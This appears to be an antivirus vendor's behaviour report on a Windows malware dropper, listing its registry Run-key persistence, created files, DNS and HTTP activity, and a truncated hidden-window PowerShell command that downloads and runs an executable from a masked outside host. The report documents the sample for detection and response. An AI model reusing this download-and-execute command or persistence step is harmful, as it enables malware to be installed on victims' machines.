Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\] 'solu' = '%APPDATA%\solu\solu.exe'
Malicious functions
Downloads and executes
- http://ho##c.org/ot/solut.exe as %temp+%\solute.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://ho##c.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Appli...
Modifies file system
Creates the following files
- %TEMP%\solute.exe
- %APPDATA%\solu\solu.exe
Network activity
TCP
HTTP GET requests
- http://ho##c.org/ot/solut.exe
UDP
- DNS ASK ho##c.org
- DNS ASK so####on.myddns.me
Miscellaneous
Creates and executes the following
- '%TEMP%\solute.exe'
- '%APPDATA%\solu\solu.exe'
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://ho##c.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Appli...' (with hidden window)
